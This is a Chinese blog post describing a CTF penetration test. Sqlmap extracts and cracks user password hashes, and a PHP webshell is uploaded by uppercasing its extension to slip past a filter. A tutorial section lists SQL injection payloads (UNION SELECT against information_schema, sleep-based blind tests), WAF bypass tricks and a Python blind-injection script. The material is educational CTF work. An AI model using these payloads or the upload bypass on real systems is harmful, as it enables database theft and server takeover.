CTF-SQL注入漏洞(get)

本文通过一个实战案例介绍如何进行渗透测试,包括使用OWASPZAP扫描web漏洞、利用sqlmap进行SQL注入攻击获取账户密码,最终成功上传webshell完成攻击。

1.老规矩全面扫描,就一个ssh和http,突破点肯定在http

2.登上这网站,看看能不能登录后台,发现需要账户密码

3.用OWASP ZAP扫描web漏洞,找到个SQL注入漏洞

3.利用sqlmap从数据库中找出账户密码

(1)将ZAP扫描出的url复制下来,-dbs先查询数据库名,第一个是默认数据库,很明显我们要的是photoblog

(2) --tables 查表名,账号密码肯定在users里

 

(3) --columns查字段名

 

(4)--dump得到账户以及密码哈希值,并破解

4.登陆后台,制作并上传shell

(1)生成webshell

发现不让传

 

尝试将php大写躲避审查,上传成功

(2)监听shell

(3)点击shell即可启动webshell

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

CTF比赛中,SQL注入题目是常见且复杂的挑战之一,通常需要选手具备对SQL语法、数据库结构和安全机制的深入理解。这类题目往往模拟了现实世界中Web应用的安全漏洞,要求选手通过注入手段获取数据库中的敏感信息,例如flag。 ### 解题思路与方法 #### 1. 判断注入点 在开始解题之前,需要确认目标是否存在SQL注入漏洞。常见的判断方式包括: - **报错注入**:尝试输入 `'` 或 `"`,观察是否出现SQL语法错误。 - **布尔盲注**:通过构造如 `' AND 1=1 -- -` 和 `' AND 1=2 -- -` 的语句,观察页面响应是否发生变化。 - **时间盲注**:使用 `SLEEP()` 函数(如 `' AND (SELECT 8375 FROM (SELECT(SLEEP(5)))Apbf) -- -`)判断是否能触发延迟响应[^2]。 #### 2. 数据库信息探测 在确认注入点后,第一步是获取数据库的基本信息,包括数据库名、表名和列名。常用的注入语句如下: - 获取数据库名: ```sql -1' UNION SELECT 1,2,database() -- - ``` - 获取所有数据库名: ```sql -1' UNION SELECT 1,2,group_concat(schema_name) FROM information_schema.schemata -- - ``` - 获取指定数据库下的表名: ```sql -1' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema='ctfhub' -- - [^3] ``` - 获取指定表的列名: ```sql -1' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name='fl4g' -- - [^4] ``` #### 3. 绕过WAF(Web Application Firewall) 许多CTF题目会模拟WAF的过滤机制,例如对 `UNION`, `SELECT`, `AND`, `OR` 等关键字进行过滤。此时需要采用以下绕过策略: - **大小写混合**:例如 `UnIoN SeLeCt`。 - **编码绕过**:使用十六进制、Base64 或 Unicode 编码。 - **空格替换**:使用 `/**/`, `%0a`, `%09` 等替代空格。 - **逻辑运算绕过**:使用 `^`, `&`, `|` 等位运算符替代 `AND` 或 `OR`。 #### 4. 获取Flag 在获取到目标表和列名后,最后一步是查询flag值。例如: ```sql -1' UNION SELECT 1,2,flag FROM fl4g -- - ``` 如果flag被存储在其他表中,可以根据表结构构造对应的查询语句。 #### 5. 自动化脚本编写 由于手动注入效率较低,尤其在时间盲注或布尔盲注场景中,通常需要编写自动化脚本。Python结合 `requests` 库和 `BeautifulSoup` 可用于实现自动化注入脚本,示例如下: ```python import requests url = "http://example.com/vulnerable_page" cookies = {"PHPSESSID": "your_session_id"} def inject(query): payload = f"' AND {query} AND '1'='1" params = {"search": payload} response = requests.get(url, params=params, cookies=cookies) return "flag" in response.text # 根据响应判断是否成功 # 示例:判断数据库名长度 for i in range(1, 10): query = f"(SELECT LENGTH(database()) = {i})" if inject(query): print(f"Database name length is {i}") break ``` ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Reaches_r

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值